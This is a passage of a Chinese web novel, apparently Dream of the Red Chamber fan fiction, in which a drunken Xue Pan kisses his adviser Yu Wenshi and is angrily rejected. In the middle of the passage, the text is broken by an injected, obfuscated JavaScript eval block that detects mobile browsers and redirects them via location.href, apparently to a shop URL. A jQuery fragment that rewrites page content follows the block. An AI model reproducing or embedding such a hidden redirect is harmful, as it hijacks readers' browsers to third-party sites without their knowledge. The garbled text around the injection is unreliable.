于文施忙道:“不成了。这酒吃着甜润,我只道它性子柔和,谁知后劲儿好厉害,我的头已觉得晕了,若还要喊出来,更要头痛了,我且要缓一缓。”
他一手撑着头,仍觉得有些微微的晕眩,一面就慢慢闭了眼睛定神。
见他不适,薛蟠忙道:“啊哟,这全是我的不是,你不常吃,我不该灌你那老些,如今可难受得紧么?”一面又让吃两口菜压一压,又扬声要唤店伙快端醒酒汤来。
于文施道:“无妨,不必劳动。是方才饮得急了些,让我静静地坐一会子也罢了。我瞧时间也不早了,别误了明日的事。待我好些了,就该回去了。”
薛蟠道:“你这样,还顾什么‘明日的事’!”
可于文施却摆摆手,示意他不要吵闹,薛蟠听他的话是听惯了的,见他这样,顿时偃旗息鼓,老实坐在旁边。
四周静下来,于文施重又阖上双眼,白净俊秀的脸上酡红一片。
他的呼吸比平时要重上许多,鼻翼翕张,胸口一起一伏,喘息间似乎还有些莲花白的柔香,却让他倍感晕眩。
他的睫毛轻轻颤动着,微微侧低着头,用一只手撑着,骨节分明的手指托着脸颊,越发显得一张脸只有巴掌大小。
像这样坐了约有半盏茶时分,仿佛终于好些了,于文施睁开眼来,眼波慢转,轻轻叹一口气,整个人顿时显得有些脆弱,比之平日智计敏捷、端正严肃的样子又是不同。
将薛蟠看得呆了。
于文施略定了定神,见薛蟠就这么安静坐在旁边静候着自己,全不似他往日闹腾的性情,知他关心自己,心下也很感动,更坚定了要全力以赴助薛家走上人生巅峰的决心,微微一笑,换到另一边手撑着头,仍旧闭目道:“文龙兄放心,你心里所想、所要的,我一定帮你达成。有我在,没人再能笑话你。我要让你成为人人称道的商界奇才,我要帮薛家屹立在四大家族的榜首,我要……”
他的话还没说完,骤然睁开眼睛,瞳孔紧缩,不敢置信地看向薛蟠。
方才他……?!
于文施只觉自己太阳穴跳得如同洪钟巨雷。
方才薛蟠亲了自己?!
于文施的眼睛有些充血,视线缓缓下移,看见自己的手被紧紧攥在薛蟠的手里,他的另一只手已环抱过来,搭在了自己的肩上。
在于文施如雷的心跳声中,他听见薛蟠絮絮地道:“好、好,我都知道,旁的人都是假意跟我好,只有你是真的。什么‘巅峰’‘奇才’,那些劳什子我要它作甚,我只要你好……”
于文施感觉自己浑身的血液都沸腾了起来,不知是因为酒,还是因为生气。
他咬着牙,压抑着怒气道:“你作甚么?”
薛蟠却没有发觉他的生气,将他哆嗦的手、通红的脸、粗重的呼吸都理解为害羞,手上加力,将他又往怀中带了带。
方才听见文施那些一心愿为自己好的话,薛蟠一时忘情,在他正阖目畅想未来大好图景之时,不禁上前在他颊上啄了一记。
这一下便是正式戳破了窗户纸,真情再难掩藏,再矜持下去也无甚意思,薛蟠还觉不尽兴,将脸又凑近了些,将酒气也喷在了于文施耳朵里,一面低声道:“小文施,你对我的好,我都知道。你放心,我必不能负你。”
他没羞没臊地说了这些话,一面就将于文施往旁边的罗汉床上拉。
什么?!
错了,全都错了!
于文施哪怕是个傻子,这会儿也终于明白了。
自从进入恒舒典,他太自信、太踌躇满志了,他算到所有事,怎么偏偏把薛大傻子这臭毛病给忘了。
于文施急怒攻心,猛地挣脱薛蟠的环抱,猛地退开一步,谁料动作太猛,头不禁晕了晕,脚下一个踉跄,薛蟠忙赶上来要扶他,却被他坚决地拂了开去,冷冷地道:“你动手动脚的是什么意思?”
薛蟠愣了一下,一双手还伸在半空,道:“你……我……我们……我们不是……”
于文施怒道:“什么‘我们’?你是你,我是我。你看你像什么样子,两个男人,作甚么拉拉扯扯的,你当我真吃醉了不成?”
薛蟠哪里听过他这等疾言厉色的说话,怔忡道:“你是怎么了?我们……咱们……我和你方才不是还好好的?可是我哪一句话惹得你生气了不成?你知道我一贯是不懂得说话的,我是蠢猪、是臭狗,我给你赔不是,你先坐下,有什么话,咱们慢慢地说也罢了。”
于文施拿手指着薛蟠,不许他靠近半步,一面用袖子使劲儿擦着面颊,咬牙道:“还有什么话?我没有话同你说!”
薛蟠搓着手,有些无措地道:“这……全是我的不是,对不住,我实在也是心急了些。方才我看你……看你那样……那样好看,我一时叫猪油蒙了心了,唐突了你。只是……我以为,咱们两个的事,彼此早该是心知肚明的。不妨的,你若不好意思,咱们就还慢慢地来。”
于文施听了这话,怄得简直一口气要上不来。
我殚精竭虑、费心费力要替你家逆天改命,你个猪脑子却在干什么!竟然在馋我的身子!!
他抬起手来指着薛蟠脸上,手指都有些发抖,想说话,终究没能说出来,眼神如果能杀人的话,薛蟠早给砍成一段一段的了。
见于文施身子摇摇晃晃的,薛蟠忙来扶他道:“不说了、不说了,总之全是我的不是,你快坐下,吃一盏热茶发散发散,想是就好了。”
如同打苍蝇蚊子一般,于文施在他的手上猛拍一记,又向他屁股上猛踢一脚,怒道:“滚开!”
薛蟠“哎唷哎唷”哼唧着退开两步,咕哝道:“怎么生这般的气?咱们两个平日里不是最好的么,你那样对我,若不是为着情分,还为着什么?唔,我明白了,你放心,你的意思我省得了,你若面皮儿薄,那一层窗户纸先不捅破了也罢了。总之你待我好、我也待你好,咱们两个就好好儿地在一处,比什么都强。以后的事,等你想得转了再说。”
于文施已是气得浑身乱战。
捅什么窗户纸,这个蠢货捅的是自己脆弱的神经。
他咬着牙
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16585926|162289||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
道:“你怕是有什么误会。我且把话说得明白些——我,对你,不过是共济之义、相助之谊,可没有半分旁的什么意思。于某虽不才,却是铮铮男儿,行得正、走得直,绝没有那些肮脏龌龊事。”
肮脏龌龊事?
仿佛听见胸腔里有什么东西碎裂的声音,薛蟠的嘴半张着,定定瞧着于文施。
那副俊秀儒雅的面孔此时因生气已扭曲变形,一眼看去十分陌生。
他以为这世上总还有一个真心待自己、懂得自己好处的人,到头来却还是送给自己四个张牙舞爪的字——
肮脏龌龊。
他不明白。
如果文施不是在心里中意自己,他如何能为自己做到那许多事。
他如何能那样轻声细语、耐心细致地与自己说话?如何能比自己还要上心自己的学业和前途?如何能替自己打理好身边的一切事务,大节小庆提前替他备下给母亲妹妹和外出打点的礼物?
薛蟠骨子里是个好色之人,否则也不会一见了香菱便失魂落魄的,不怕闹出人命也要抢她回家去。
但作为有钱有势有闲情的贵族纨绔子,喜好男风也并不鲜见,在这方面贾珍、贾琏等人也俱是一样,在这些人的眼中,这类事不过是纵欲、猎奇、取乐,更是一种上位者的特权。
他们享受、他们发泄,但他们不会动感情。
对于那些被动的男孩子来说,此事却也并非全是强迫。
旧社会的阶级固化程度超乎人的想象,对于许多长相漂亮、家世却贫寒的男孩子来说,出卖色相、牺牲自尊,若能换取更高的回报,那便是值得的,不失为一条有用的上升捷径。
除了一些心思灵活、邀宠献媚的家人小厮外,曾经在贾家家学里也有一干人是这样,如香怜、玉爱之流便是如此。
薛蟠并不小气,只要能讨得他的欢心,他有数之不尽的金银钱物赏给那些人,表面上宠爱不尽,心里却并未认真。说到底,都是取乐的顽意儿罢了,社会的正统仍然是贤妻美妾、传宗接代,他心里比谁都明白。
可是于文施与那些人都不同。
不知从什么时候起,这个有着褐色眼珠的年轻人就住进了薛蟠的心里。
文施对他太好了,他的亲生父亲还在世时也没有给过他这种程度的关心和耐心。
文施不求财、不求物,为着他替自己做事的缘故,薛蟠送他贵重的礼物,他从来都是坚辞不受,甚至也从未开口要薛蟠替他引荐什么人、以借此融入京城的贵人圈子。
他什么都不要,反而是百般地劝阻薛蟠,让他少同那些无聊的人来往,说饮酒伤身、声色害智,又说事业未立、何以家为,让他不要着急收香菱入房。
可如果不是求财求名,薛蟠想不出还有别的什么原因。
在某一日的夕阳斜照里,文施替他补习功课,在金红色的暖光里,那双眼睛越发温柔好看,闪动着活泼的光。
薛蟠突然想通了,文施什么都不要,是因为他只是为了自己这个人而已。
薛蟠很感动。